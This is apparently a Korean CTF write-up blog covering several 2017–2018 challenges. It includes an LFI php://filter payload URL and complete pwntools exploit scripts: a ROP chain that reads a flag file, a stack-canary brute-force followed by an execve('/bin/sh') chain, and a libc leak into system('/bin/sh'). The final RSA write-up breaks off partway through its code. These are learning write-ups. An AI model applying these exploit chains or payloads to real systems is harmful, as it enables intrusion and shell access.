Write-up

[MeePwnCTF 2018] esor (easy)

2018. 7. 16. 20:10


Howdy, howdy ...


python소스가 하나 주어지고, nc를 통해 서버에 접속하면 encrypt된 data를 요청할 수 있다.



주어진 소스 파일은 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python2
from Crypto.Cipher import AES
import hmac, hashlib
import os
import sys
 
menu = """Choose one:
1. encrypt data
2. decrypt data
3. quit
"""
 
class Unbuffered(object):
    def __init__(self, stream):
        self.stream = stream
    def write(self, data):
        self.stream.write(data)
        self.stream.flush()
    def __getattr__(self, attr):
        return getattr(self.stream, attr)
 
sys.stdout = Unbuffered(sys.stdout)
sys.stderr = None
 
encrypt_key = '\xff' * 32
secret = 'MeePwnCTF{#flag_here#}'
hmac_secret = ''
blocksize = 16
hmac_size = 20
 
def pad(msg):
    padlen = blocksize - (len(msg) % blocksize) - 1
    return os.urandom(padlen) + chr(padlen)
 
def unpad(msg):
    return msg[:-(ord(msg[-1]) + 1)]
 
def compute_hmac(msg):
    return hmac.new(hmac_secret, msg, digestmod=hashlib.sha1).digest()
 
def encrypt(prefix='', suffix=''):
    _enc = prefix + secret + suffix
    _enc+= compute_hmac(_enc)
    _enc+= pad(_enc)
    iv = os.urandom(16)
    _aes = AES.new(encrypt_key, AES.MODE_CBC, iv)
    return (iv + _aes.encrypt(_enc)).encode('hex')
 
def decrypt(data):
    data = data.decode('hex')
    try:
        iv = data[:blocksize]
        _aes = AES.new(encrypt_key, AES.MODE_CBC, iv)
        data = _aes.decrypt(data[blocksize:])
        data = unpad(data)
        plaintext = data[:-hmac_size]
        mac = data[-hmac_size:]
        if mac == compute_hmac(plaintext): 
            print(plaintext)
            return True
        elsereturn False
    exceptreturn False
 
print """Welcome to our super secure enc/dec server. 
We use hmac, so, plz don't hack us (and you can't). Thanks."""
 
while True:
    choice = int(raw_input(menu))
    if choice == 1:
        _pre = raw_input('prefix: ')
        _suf = raw_input('suffix: ')
        print encrypt(prefix=_pre, suffix=_suf)
    elif choice == 2:
        _data = raw_input('data: ')
        if decrypt(_data):
            print 'OK'
        else:
            print 'KO'
    elif choice == 3:
        sys.exit(0)
    else:
        choice = int(raw_input(menu))
cs


encrypt함수는  _enc = prefix + secret + suffix 로 사용자로부터 입력받은 prefix와 suffix를 flag의 앞과 뒤에 붙여 암호화하게 된다.

AES.CBC모드로 암호화하기 때문에 iv값이 필요하게 된다.


뭐.. 분석을 하면 좀 길어진다. 그러나 실제 문제를 풀때는 분석이 필요없었다;;


출제자의 실수인지, 서버에서 사용하는 키값과 주어진 소스파일의 키값이 같았다.

즉 '\xff' * 32가 키값인것이다. 그래서 그냥 서버에서 주는 data값을 주어진 소스파일의 decrypt함수로 돌리면 flag가 나온다.


MeePwnCTF{pooDL3-this-is-la-vie-en-rose-P00dle!}


플래그 내용에 Poodle이란 단어가 들어가 있는데, Poople attack이라고 구글에 검색하면 아래와 같이 나온다.


The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryption") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. 


원래는 이 POODLE attack을 통해 푸는 문제인것같다. 하지만 출제자의 실수로.... (대회가 끝난 시점인 현재 130명이나 풀었다...)

대회가 끝나고 다시 서버에서 주어진 data를 주어진 소스파일로 decrypt하려 했더니, 실패하였다.


아마 대회중간에 키 값이 잘못된걸 알아차리고 바꾼것같은데;; 운좋게 푼사람들은 몰라도... 못푼사람들은 ㅠㅠ


일단 대회당시에는 이렇게 풀수있었다.


다음 포스팅에서는 Poople attack으로 푸는 방법으로 다시 써보겠다.




'Write-up > Crypto' 카테고리의 다른 글

[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[MeePwnCTF 2018] ezchallz  (0) 2018.07.16
[UIUCTF 2018] Hastad  (0) 2018.06.02

[MeePwnCTF 2018] esor (hard)

2018. 7. 16. 18:24



시간나면 쓰겠슴다.

'Write-up > Crypto' 카테고리의 다른 글

[MeePwnCTF 2018] bazik  (0) 2018.07.25
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] ezchallz  (0) 2018.07.16
[UIUCTF 2018] Hastad  (0) 2018.06.02
[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02

[MeePwnCTF 2018] ezchallz

2018. 7. 16. 16:49


ezchallz입니다. 주어진 url로 접속해보면 Free register라고 나오는데, LFI 취약점이 있습니다.



LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다.

이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을때 일어납니다.

대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다. 


그래서 php://filter을 이용해서 php://filter/convert.base64-encode/resource=파일이름 를 page=뒤에 붙여서 보내면 해당 파일을 추출해낼 수 있습니다.

 

http://206.189.92.209/ezchallz/?page=php://filter/read=convert.base64-encode/resource=index


추출된 파일의 내용은 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<a href="index.php">Homepage</a>
<a href="?page=register">Free register</a></li>
 
<?php
if(isset($_GET["page"]) && !empty($_GET["page"])) {
    $page = $_GET["page"];
    if(strpos(strtolower($page), 'secret'!== false) {
        die('No no no!');
    }
//    else if(strpos($page, 'php') !== false) {
 //       die("N0 n0 n0!");
//    }
    else {
        include($page . '.php');
    }
}
?>
</html>
 
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<html>
<?php
error_reporting(0);
 
function gendirandshowflag($username) {
    include('secret.php');
    $dname = "";
    $intro = "";
    $_username = md5($username$raw_output = TRUE);
    for($i = 0$i<strlen($salt); $i++) {
        $dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));
    };
    $dname = "users/" . bin2hex($dname);
    echo 'You have successfully register as ' . $username . '!\n';
    if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) {
        $intro = "Here is your flag:" . $flag;
    }
    else {
        $intro = "Here is your flag, but I'm not sure ?쨺: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}";
    }
    mkdir($dname);
    file_put_contents($dname . '/flag.php'$intro);
    header("Location: "$dname . "/flag.php");
}
 
if (isset($_POST['username'])) {
    if ($_POST['username'=== 'admin') {
        die('Username is not allowed!');
    }
    else {
        gendirandshowflag($_POST['username']);
    }
}
?>
 
        <form action="?page=register" method="POST">
        <input type="text" name="username"><br>
        <input type="submit" value="Register">
        </form>
</html>
 
 
cs


유저명의 md5와 secret_salt의 값과 XOR한 값으로 폴더를 생성하고, 그 안에는 가짜 flag를 보여주는 flag.php가 있습니다.

단순히 md5값과 salt값을 xor한것이므로 역으로 salt값을 구할 수 있습니다.


salt값을 구하여 admin의 md5값과 xor한 값을 폴더로하여 들어가면 올바른 flag를 구할 수 있습니다.


md5 encrypt : https://www.md5online.org/


XOR하기 위해 예전에 cryptopals 문제풀때 사용했던 python code를 그대로 사용했습니다. https://github.com/wotmd/cryptopals/blob/master/set1/02_Fixed_XOR.py


Regiser sherlock is : aa415a493257a95092efead786d5aea1

MD5 hash for sherlock is : 1bea3a3d4bc3be1149a75b33fb8d82bc


so Secret Salt is : b1ab607479941741db48b1e47d582c1d


MD5 hash for admin is : 21232f297a57a5a743894a0e4a801fc3

Regiser admin is : 90884f5d03c3b2e698c1fbea37d833de




접속하면 위와같이 플래그를 얻을 수 있습니다.




'Write-up > Crypto' 카테고리의 다른 글

[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[UIUCTF 2018] Hastad  (0) 2018.06.02
[Byte Bandits CTF 2018]R u Ronald Rivest?  (0) 2018.06.02
[Plaid CTF 2018] macsh - 125  (0) 2018.05.07

이번 MeePwnCTF하면서 롸이트업씁니당..


오랜만에 CTF를 해서 인지 상당히 열심히했고, 재미있었습니다.



이미지파일(jpg)을 하나 줍니다. 명탐정 코난의 만화책 표지같은데... 명탐정 코난을 아직까지 읽고 있어서 참 반가웠습니다(?)

(그리고 저 상황이 지금 무슨 상황인지도 알고 있습니당 ㅋㅋㅋ)



아무튼... 그냥 저 사진만으로는 뭘 알수가 없습니다...



binwalk를 통해 알아보니 End of Zip archive가 발견되었습니다.


끝은 있는데... Zip헤더를 못찾아서 hxd로 직접 찾아보았습니다.

jpg의 끝을 나타내는 FF D9 뒤에 보니 PK로 압축파일의 헤더가 보입니당




그런데 헤더파일의 시그니처가 약간 변조되있어서 binwalk로 탐색되지않은것같습니다. 

원래 헤더는 50 4B 03 04 여서, 원래대로 고쳐주었습니다. 


그리고 압축을 풀면 message.pdf가 나옵니다. 내용은 셜록홈즈의 명대사인 "불가능을 제외하고 남는 것이, 그 설령 믿을수 없다해도 진실이다!"에 대한 내용입니다. 여기서 또  뭐가 있지??? 하면서 글을 복사해서 일반 메모장에 붙여넣기해보니, 숨겨진 메세지를 찾을 수 있었습니다.



이 메세지를 긁어서 메모장에 복사해보면 숨겨진 메세지를 찾을 수 있습니다.





이어붙여보면 플래그가 나옵니다

MeePwnCTF{T3xt_Und3r_t3Xt!!!!}

[RCTF 2017] Recho

2018. 7. 10. 19:11

syscall 이용해서 익스를 몇번해보고 조금 더 연습해봐야겠단 생각에 RCTF 2017의 Recho를 풀어보았다...

도대체가 왜 항상 이리 코드가 안먹히는건지 ㅡㅡ;; 너무 실수가 많은것 같지만 어떻게든 했다;;


먼저 file 명령어를 통해 보면 아래와 같다.

sherlock@ubuntu:~/workstation/study_pwn/Recho_$ file Recho 

Recho: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped


64bit 바이너리이고 스트립되있지 않아서 분석하기 편할 것 같다.



보호기법이 무엇이 있는지도 보았다.

NX가 걸려있는것 말고는 별다른 보호기법은 적용되어있지않다.



??? 그리고 strings로 한번 검색해보았는데 flag라는 스트링값이 존재한다. 어디에 쓰일진 아직 모르겠다.


Ida에서도 발견!




strip되있지않아 Ida로 main을 바로 볼 수 있었다.

동작은 간단하게 read로부터 사용자에게 얼마만큼을 입력받을지는 받고 그만큼 버퍼에 쓴다.

그러므로 여기서 BOF를 일으켜 ret를 덮을수 있다!


그런데 문제가 while안에 있는 read가 리턴하는 값이 0보다 크다면 while루프를 계속 돌기때문에 while을 빠져나올 필요가 있는데 여기서 사용할 수 있는게 프로그램 실행중 Ctrl+D를 누르면 종료시그널을 보내는 것이다. 종료시그널을 보내면 while루프를 빠져나와 프로그램이 종료되게 할 수 있다.


그런데 프로그램이 종료되므로 ret를 덮어 leak을 한다해도 프로그램이 종료되어서 쓸모가 없어진다 ㅡㅡ;

그래서 syscall을 이용해서 문제를 풀어보자.


계획은 아래와 같다.


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


open으로 flag 파일을 읽어오고, 그 값을 read를 이용해 bss영역에 쓴다.

그리고 그 값을 write로 stdout으로 써주면 flag가 출력될 것이다.


그럼 필요한 값을 찾아보자!



flag string은 여기있고... 문제는 syscall (int 0x80)이 가젯을 구할 수가 없었다 ...(ㅡㅡ;)

rp++로 찾았는데;; 이게 없어서 막혀버렸담ㄴㅇㄹ


그러다 read함수 내부에서 syscall을 찾을 수 있었다.



저기있다. 즉 read주소+0xe만큼의 위치에 존재한다.

그럼 이제 read주소의 got가 가리키는 값을 0xe만큼 증가시켜서 read@plt를 부르면 syscall이 호출되게하면 된다.

가젯중에 add byte [rdi], al ; ret이 있어 rdi에 read@got를 넣고 eax에 0xe를 넣은 후 이 가젯을 호출하면 read를 호출하게 되면 이제 syscall이 호출되게 된다.


그러면 이제 아래와 같이 하면 된다. 끝!


1. open(flag, 0, 0)

2. read(3, bss, 100)

3. write(stdout, bss, 100)


Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
 
#context.log_level = 'debug'
 
= ELF("./Recho")
= process("./Recho")
 
address_add = 0x40070d #add byte [rdi], al ; ret
pop_rax = 0x004006fc # pop rax ; ret  ;
pop_rdi = 0x004008a3
pop_rsi = 0x004008a1 # pop rsi ; pop r15 ; ret
pop_rdx = 0x004006fe # pop rdx ; ret
 
read_addr = e.got['read']    # 0x601030
syscall = 0x400600 # read@plt
 
flag_address = 0x00601058
 
# 1. read_addr.got -> add byte! result= syscall_address
payload =  "A"*48    # buffer
payload += p64(e.bss()) # sfp
payload += p64(pop_rax)
payload += p64(0xe)        # read_addr+0xe = syscall_address
payload += p64(pop_rdi)
payload += p64(read_addr)
payload += p64(address_add) # read_addr.got -> syscall_adress
 
# 2. syscall open(flag, 0, 0) O_RDONLY=0 #http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
payload += p64(pop_rax)
payload += p64(0x2)        # open syscall_num , open func is return fd number
payload += p64(pop_rdi)
payload += p64(flag_address) # "flag"
payload += p64(pop_rsi)
payload += p64(0)*2        # O_RDONLY=0
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
#fd: 0, 1, 2 is stdin, stdout, stderr // and next open call return is 3, because it gives the smallest value that is not currently used.
 
# 3. read flag! syscall read to bss
payload += p64(pop_rax)
payload += p64(0x0)        # read syscall_num
payload += p64(pop_rdi)
payload += p64(0x3# open flag fd number
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # read size
payload += p64(syscall)
 
# 4. syscall write! write stdout
payload += p64(pop_rax)
payload += p64(0x1)        # wrtie syscall_num
payload += p64(pop_rdi)
payload += p64(0x1# stdout
payload += p64(pop_rsi)
payload += p64(e.bss())+p64(0)    # bss
payload += p64(pop_rdx)
payload += p64(100)    # write size
payload += p64(syscall)
 
p.sendlineafter("Welcome to Recho server!",str(len(payload)))
sleep(2)
p.sendline(payload)
 
p.shutdown()
 
cut=42
 
recv = p.recvall()
recv = recv[cut:recv.find('\00')]
 
print(recv)
p.close()
cs


[Defcon 2016 Quals] feedme

2018. 7. 9. 00:40

항상 그렇지만... 삽질을 했다..


일단 바이너리 feedme를 주는데, 32비트 파일이다. stripped되있고 static compile되있어서 분석하는데 시간이 걸렸다 ㅡㅡ;

feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

바이너리를 실행하면 "FEED ME!"라고 나오면서 사용자로부터 입력받는데


첫 1바이트로 사용자로부터 얼마나 받을지를 결정하고, 그만큼 받는데 여기서 BOF가 일어난다.

그런데 중간에 Canary가 있어서 이 canary 우회가 필요하다.


이 프로그램에서는 FORK를 해서 프로그램이 끝나면 다시 자식으로 fork해서 실행하기때문에 항상 카나리값이 같으므로 bruteforce해서 카나리값을 알아낼 수 있다. 버퍼가 32만큼 있고 카나리가 4바이트가 있어서 32+예상되는 카나리값을 입력해서 *** stack smashing detected *** 가 뜬다면 카나리값이 틀린것이고 안뜬다면 맞는다는 것이므로 1바이트씩 브루트포싱하면 된다.


이렇게 Canary값을 알아내고 return address를 덮어서 프로그램 흐름을 조작할 수 있다.

그런데 static compile되있고 stripped되있어서 어디로 뛰어야할지 몰랐는데


syscall을 사용하면 된다는 것을 알게되었다.

sys_read(stdin, bss영역, 8) 해서 bss영역에 "/bin/sh\00"을 쓰고

sys_execve("/bin/sh\00", 0, 0) 해서 쉘을 실행시키면 된다.


필요한 가젯과 값은 아래 코드에 다 들어있다.

여기서 조심해야할 것은 sys_execve실행할 때 인자를 "/bin/sh\00"이 있는 주소와 NULL값 2개로 넣어주는 것이다.

"/bin/sh"를 넣거나 "/bin/sh;#"등을 넣으면 sys_execve로 실행이 안된다 ㅡㅡ; 이것때문에 개고생....

그리고 read해서 쓸때에도 8바이트를 넣어줘야 null바이트까지 읽고 써준다.


Exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
 
#context.log_level = 'debug'
= process("./feedme")
e= ELF('./feedme')
 
def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)
 
canary = ""
 
for i in range(0,4):
    for c in range(0,256):
        FEED_ME("A"*32+canary+chr(c))
        if not "*** stack smashing detected ***" in p.recvuntil("Child exit."):
            canary+=chr(c)
            break
log.info("canary    : 0x%x " % u32(canary))
 
bss = e.bss()    # bss address
pop_eax = 0x809e17a    #pop eax, pop ebx, pop esi, pop edi, ret
pop_dcb = 0x806f370 #pop edx, pop ecx, pop ebx
 
syscall_ret = 0x806fa20    # int 0x80; ret
 
payload =  "A"*32    # buffer
payload += canary    # cannary
payload += "B"*8+"CCCC"    # dummy + sfp
payload += p32(pop_eax)    # ret
payload += p32(0x03)+"AAAA"*3 #sys_read
payload += p32(pop_dcb)    # sys_read(0, bss, 8);
payload += p32(8)    #/bin/sh\00 length
payload += p32(bss)
payload += p32(0#stdin
payload += p32(syscall_ret)    # syscall
 
payload += p32(pop_eax)
payload += p32(0x0b)+"AAAA"*3 #sys_execve    #http://syscalls.kernelgrok.com/
payload += p32(pop_dcb)    #sys_execve("/bin/sh", 0, 0);
payload += p32(0)*2
payload += p32(bss)
payload += p32(syscall_ret) # syscall
payload += "BBBB"
 
 
print(FEED_ME(payload))
p.send("/bin/sh\00")
p.interactive()
cs


[34C3 CTF 2017] readme_revenge

2018. 7. 2. 01:18

Pwn문제를 뭘 풀까 찾다가 2달전에 했던 Byte Bandits CTF 2018에서 봤던 문제를 풀어보기로 했다. Tale of a Twisted Mind라는 문제로 CTF 당시에는 Pwnable에 익숙하지 않은지라 풀지 못했으나 지금은 어느정도 개념이 잡혔고, 문제점수 또한 250점으로 난이도가 적당할 거 같아서 풀어보기로 하였다.

We all know how intelligent Layat is... He says that since everyone knows how gcc programs are protected, he set out to protect them by his own secret way.

But Alas! Even the compiler asked "Art Though Dumb?"

nc 34.218.199.37 6000

문제는 위와 같고, 바이너리 파일과 라이브러리를 주므로 이걸 분석하면 된다. 당연하지만 현재 서버는 닫혔고, 라이브러리를 주긴했으나 그냥 로컬기준으로 해서 문제를 풀겠다.(물론 LD_PRELOAD로 설정해줘도 되긴하다.)

먼저 checksec을 이용해 어떤 보호기법들이 적용되어있는지 살펴보겠다.



32bit이고 Canary와 NX가 걸려있어 매우 어려울 것 같은 느낌이다. 아직 뭘 해야할지 잘 모르겠으니, 먼저 실행해보자. 실행하면 아래와 같이 모듈러연산을 하는 식을 던져주는데, 이게 풀어도 풀어도 계속 문제를 준다 ㅡㅡ;



일단 프로그램의 시작부분이 어떻게 시작하는 지 알았으니 이제 IDA를 사용해 저 부분을 한번 살펴보자. 저 문구 자체는 String Window에서 쉽게 찾을 수 있고, 거기서 거슬러 올라가면 이 프로그램의 흐름을 알 수 있다.



여기서 사용되고 있고, 사용하고 있는 함수를 찾아보면 sub_8048867()에서 찾을 수 있고, 여기서 더 올라가보면 이 함수가 312번 호출되는 것을 알 수 있다.



그렇다면 저 함수를 312번 호출이 끝나면 무엇이 수행되는지 보자. 아래 그림을 통해 이 프로그램이 대략적으로 어떻게 돌아가는지 표현해보았다.



사용자에게 312번의 수식계산(Question)을 시키고, 이를 통과하게 되면 사용자가 원하는 값을 fgets를 통해 buffer에 쓸 수 있다. 그런데 여기서 buf에 해당하는 s는 bp-14의 위치에 있는데, fgets를 통해 46의 길이를 읽게되므로 Buffer Overflow가 일어나는 것을 알 수 있다.

  int v2; // eax@1
  int v3; // eax@2
  int result; // eax@3
  int v5; // eax@6
  int v6; // edx@9
  signed int i; // [sp+4h] [bp-18h]@1
  char s; // [sp+8h] [bp-14h]@8
  int v9; // [sp+18h] [bp-4h]@1

그럼 이제 bof를 이용해 함수 흐름을 조작해서 libc_base를 leak하고, 최종적으로는 ROP로 system("/bin/sh")를 수행할 수 있을 것이다! ... 인줄 알았지만 아직 Canary가 남아있었다 ...

다시 위에서 정리해놓은 것을 보면 Canary는 sub_8048801()에 의해 27~29줄에서 다시 설정된다. 그런데 이 sub_8048801()이란 함수가 이전에도 많이 쓰이는데... 바로 처음에 사용자에게 던져주는 수식의 난수생성에 쓰인다.

여러번 실행해보면 알겠지만 주어지는 수식의 값이 항상 다르다는 것을 알 수 있는데, IDA를 통해 hexray한 코드를 보면 이 random한 값은 time(0)에 의한 결과이다. time(0)의 값이 이 프로그램에서는 C함수에서 srand(seed)의 seed값으로 들어가는 것과 같은 효과가 여기서 나타난다. 그러므로 time(0)이 같다면 항상 같은 난수 생성이 가능하다.



time(0)의 값을 설정하고 랜덤한 값을 312*2번 뽑고, 한번 더 뽑게되면 우리가 원하는 Canary값을 얻을 수 있다. 그럼 이제 어떻게 할까? Canary값을 구하기 위한 두가지 방법이 있다.

  1. 해당 프로그램에서 Random값을 뽑아내는 알고리즘과 같은 알고리즘을 쓰는 소스를 구현한다.
  2. 바이너리 code patch를 통해 우리가 원하는 Canary값을 출력하게 한다.

여기서는 후자, code patch를 이용해서 Canary값을 출력하는 방법을 사용하겠다.



위에서 Canary값을 설정하는 코드를 보면 Canary값을 설정한 후, bss영역(전역변수)의 dword_804AA28에 저장하게되는데 이 부분을 puts을 통해 출력하게 patch한다면 우리가 원하는 Canary값이 puts를 통해 출력될 것이다.



자! 이제 원본파일인 twisted와 Canary를 출력하게 patch한 twisted_modipy를 동시에 실행한다면 time(0)의 값을 같으므로 같은 난수생성을 하게 되고, 같은 Canary값을 가질 것이다. 이 때 우리는 twisted_modipy를 통해 Canary값을 얻을 수 있으므로, twisted에서 bof를 성공적으로 일으킬수 있다.

그럼 이제 코드짜는 일만 남았다.. 계획은 일단 아래와 같다.

  1. 먼저 puts.plt로 리턴하여 puts.got를 인자로 넣어 puts_addr을 구한다.
  2. 위에서 구한 puts_addr을 이용해서 libc_base를 구한다.
  3. libc_base를 통해 system함수와 "/bin/sh"의 주소를 구한다.
  4. system("/bin/sh")를 실행한다.

급마무리하는 느낌이 있지만, 익스코드는 아래와 같다.

from pwn import *
import string

#context.log_level = 'debug'

elf = ELF("./twisted")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

conn = process("./twisted", env={"LD_PRELOAD":"libc.so.6"})
patched = process("./twisted_modify", env={"LD_PRELOAD":"libc.so.6"})

for i in range(0,312):
	Equation = conn.recvuntil("=")
	patched_Equation = patched.recvuntil("=")
	patched.recvline()
	conn.recvline()
	if not (Equation == patched_Equation):
		break
	op1, op2 = Equation[:-1].split("%")
	result = int(op1) % int(op2)
	conn.sendline(str(result))
	patched.sendline(str(result))

patched.recvline()
canary = patched.recv(4)
patched.close()
print("")

log.info("canary : 0x%x\n" % u32(canary))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

fgets_sbuf = 0x8048979
bss = 0x804A800

payload  = "A"*16
payload += canary
payload += p32(bss)	# ebp
payload += p32(puts_plt)
payload += p32(fgets_sbuf)
payload += p32(puts_got)

conn.recvuntil(":")
conn.send("a")	## getchar != '\n'
conn.sendline(payload)

conn.recvline()
puts_addr = conn.recv(4)
puts_sym = libc.symbols['puts']

libc_base = u32(puts_addr)-puts_sym
system_offset = 0x40310
bin_sh_offset = 0x162d4c
system_addr = libc_base + system_offset
bin_sh_addr = libc_base + bin_sh_offset

log.info("base_libc   : 0x%x" % libc_base)
log.info("puts_addr   : 0x%x" % u32(puts_addr))
log.info("system_addr : 0x%x" % system_addr)
log.info("bin_sh_addr : 0x%x" % bin_sh_addr)

payload  = "A"*16
payload += canary
payload += p32(bss)	# ebp
payload += p32(system_addr)
payload += "BBBB"
payload += p32(bin_sh_addr)

conn.sendline(payload)
conn.interactive()

위 파이썬 익스코드를 실행하면 Shell을 획득할 수 있다.




*후기

재미있는 문제였다. 일단 seed값을 똑같이 설정해서 같은 랜덤값을 얻는 문제를 실제로 풀어본 것이 처음이였다.

뭐... 그 만큼 삽질을 많이해서 굉장히 시간을 많이 잡아먹었지만 ㅡㅡ;

일단 while(getchar() == 10) ; 부분이 당연히 버퍼를 비워주기 위한 코드인줄 알아서 익스할때 익스가 제대로 되지않아서 많은 시간을 잡아먹었고,

최근에 execve() 함수 안에 "/bin/sh"를 호출해주는 부분으로 바로 뛰어 쉘을 한방에 띄울 수 있다는 oneshot gadget이란 것을 알게 되어 이 원샷가젯을 사용하려다가 굉장히 많은 시간을 잡아먹었다. 일단 원샷가젯에 대한 결론을 말하자면... 32bit 바이너리라서 원샷가젯이 안먹힌다;; 64bit에서는 정상적으로 사용가능하므로 64bit 익스에만 사용하도록 하자.


그래도 삽질한 만큼 많은 걸 배운것 같다. 이상 마무리~

[UIUCTF 2018] Hastad

2018. 6. 2. 21:08

Hastad ● Crypto ● 200 Points



sorry wrong chat라고 하고..


ciphertexts.txt 와 moduli.txt가 주어진다.


일단 한번 보자.



이게 ciphertexts.txt이고 아래가 moduli.txt이다.



RSA암호화로 ciphertexts.txt를 보낸것이라 생각한다. 여기서 e=3이라고 하는데...


e값이 매우 작고 평문이 길이가 짧을 경우, n(=p*q)값이 매우 크기때문에.. 암호화된 평문 C=P^e(% n) 에서 n이 너무커서 C가 모듈러 연산에 몇번 걸리지 않는 경우가 있다. 이 경우 C값을 그냥 e 거듭제곱근을 구해서 평문을 복호화해 낼 수가 있다고 한다. 그래서 일단 e제곱근한 값이 나오나 보기로 했다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c_list = [0x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d31650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee650x10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e0650x10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d401633764162709650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d16650x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65]
 
 
= 3.00
 
for idx, c in enumerate(c_list):
    c_list[idx]=c**(1.00/e)
    print("%x " % c_list[idx])
 
 
for c in c_list:
    #c = c**(1.00/e)
